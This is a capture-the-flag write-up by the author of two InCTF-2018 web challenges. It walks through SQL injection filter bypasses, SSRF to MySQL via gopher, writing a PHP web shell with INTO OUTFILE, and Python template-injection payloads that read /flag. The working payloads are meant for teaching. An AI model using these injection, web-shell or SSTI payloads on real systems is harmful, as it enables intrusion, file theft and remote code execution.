InCTF-2018 Web challenges writeup

Hey, I am SpyD3r(@TarunkantG) and in this blog I will be discussing both web challenges that I made for InCTF-2018 and also a lot of SQL, SSTI tricks, techniques.
The first challenge was GoSQL which had 2 solves in 36 hrs and the second challenge was TorPy which got 17 solves in 27 hrs.

GoSQL

This challenge is the best challenge I made till now, I hope you will learn a lot of new tricks and new ideas on SQL injection and MySQL.
This challenge had two phases, first you have to be admin for solving 1st phase then in the next phase you need to get RCE on the server. Now we will solve each phase one by one.
So in 1st phase, you have given a source code for doing SQL injection and hopefully you recognized:

1
mysqli_set_charset($conn,"utf8");

this meant that you can use unicodes, but what the use of that??
So now the 1st trick is:
1
select 'a' = 'à';   # will return 1

a

2nd trick is very known that, you can bypass comments in SQL:

1
select * from login where /*!username='tarunkant'*/;

a

Now if you got to know that the blacklisting is not done properly and you can find it by just printing blacklist variable, then you have done half of the first phase, and here these things are not blocked:

1
having, insert, 0, user

Now the 3rd trick is there are a lot of alternatives can be found in MySQL, So here I will be stating some alternatives which are not blocked and you need to use it for solving this challenge:
1
2
3
4
where   : having
substr : insert
<space> : %0a
= : in

So, the payload you will use for solving 1st phase is:
1
select * from inctf2018_chall_2 /*!having*/ username='àdmin'

URL:http://18.219.221.225/?clause=!having&name=àdmin

Now you will redirect to the 2nd phase of the challenge.
This phase has one functionality that you can cURL.
If you check then you will get that these things are blocked:

1
dict|ftp|scp|ldap|data|php|ssh|file

the thing is you can use Gopher.
As you know that Gopher can communicate with MySQL if the user is not protected with the password and condition matches with this challenge(as said in description) but you need know username of the MySQL. How?
So the 1st phase had SQL injection right? Means you can find username from there itself right?
here you can get the final script for finding the username:

GITHUB-Link

So, there are things or say alternatives I used for making this script:
As you see we can’t use if function, so the next trick comes out which is, you can use sleep function as if function.
so here is 4th trick:

1
2
3
4
select if((1=1),sleep(3),null);     # will sleep for 3 sec
select if((1=0),sleep(3),null); # it will return null
select sleep((1=1)*3); # will sleep for 3 sec
select sleep((1=0)*3); # its like null

5th trick:
If you can’t use Single quote while selecting in MySQL, then you can use binary or hex encoding, here 0x is blocked so we will be using 0b
1
2
3
select 'abcd';                              # will print abcd
select 0b01100001011000100110001101100100; # will print abcd
select 0x61626364; # will print abcd

And also I modified and used the findings of insert function by @stypr can be found here.
I hope that you guys got the concept I used in my script.
We got username: INCTF_SSRF@LOCALHOST, if you know, user() returns localhost in small letters, so the final MySQL username is: inctf_ssrf
lets go forward to the challenge, Now we have MySQL username, now what??
We have to make gopher link from which we can communicate with MySQL, but how??
So here again I am announcing my tool Gopherus, which generates gopher link for exploiting SSRF and gaining RCE in various servers like MySQL, FastCGI, Memcached, Redis, Zabbix and SMTP.
And you can get blog on the same here.
So using this tool lets try to solve this phase.
So what you think flag will be in the database? lets check then




1 / 4




2 / 4




3 / 4



4 / 4





So from the database we got nothing but a msg: dig hard
so what else we can do? lets check the permission of that user
SQL query for that:

1
select * from information_schema.user_privileges;

a
a
So as you can see that we have FILE permission, means you can use LOAD_FILE, OUTFILE…RCE??
yeah you thought it right but where you can put the file?
So there are only specific location where you can put files, so for that you need to check mysqld.cnf file. As we were using ubuntu 16.04, the location of that file is: /etc/mysql/mysql.conf.d/mysqld.cnf (you can google for finding the location).
Now let’s make gopher payload:
1
select LOAD_FILE('/etc/mysql/mysql.conf.d/mysqld.cnf');

a
a
So here you can see that there is /tmp_is_great folder and we can access this directly from the server.
Means this is the folder where we have to put our file:
The SQL query we need to execute:
1
select "<?php system($_REQUEST['cmd']); ?>" INTO OUTFILE '/tmp_is_great/shell.php'

a
a
a
And finally we got the flag: inctf{Th1s_w4s_n07_e4sy_cha11_bu7_Y0u_d1d_17!!!}

TorPy

This was SSTI challenge and you need to read /flag file.
and you would have done this

curl -I http://18.223.211.42/

You will get that this challenge is with tornado-server
So if you did check then these things were blocked:

1
'import','os','class','subclasses','mro','request','args','eval','if','for','%','subprocess','file','open','open','builtins','+','compile','execfile','getattr',']','[','from_pyfile','tornado','config','app','base'

As you know that python challenge don’t have one solution, there are alot of ways to read the files.
But the intended one was this:
This was basically a type of black-box testing, If you were trying some of the function, objects, classes that can be used for exploiting SSTI then hopefully, you should have reached to __reduce__ function.
In python2 we do know a payload related to reduce function:

1
''.__reduce__(42)[0].func_globals.values()[12].values()[79]('./flag').read()

the 12 is the index of __builtins__
and 79 is the index of <built-in function open>
index changes with respect to the server, so you need to find for the challenge server.
but it won’t work in python3, so we need to do some change over there:
1st one func_globals is not valid in python3, so we need to change it to __globals__
2nd one dict_values doesn’t support indexing in python3, so we need to find index using with list.
And here you can’t use braces [ ], but instead you can use __getitem__ or get
So final payload looks like:

1
{{ list(list(''.__reduce__(42).__getitem__(0).__globals__.values()).__getitem__(1).values()).__getitem__(125)("/flag").read() }}

Here again:
the 1 is the index of __builtins__
and 125 is the index of <built-in function open>
index changes with respect to the server, so you need to find for the challenge server.
after doing these things perfectly you will get flag:
inctf{Wh3n_SST1_M33ts_T0rn4d0_U51ing_Pyth0n3_!!!_1t5_M461c4l}

You could have read the files like this:

1
2
dict(b=globals).get('b')().pop('__buil''tins__').pop('op''en')('/flag').read()  
globals().__getitem__('__bui''ltins__').__getitem__('op''en')('/flag').read()

like this there are alot ways. But I hope from this writeup you would have got a new trick.

I hope you guys found this article helpful, enjoy your day. You are welcome to give reviews on this article and on my challenge.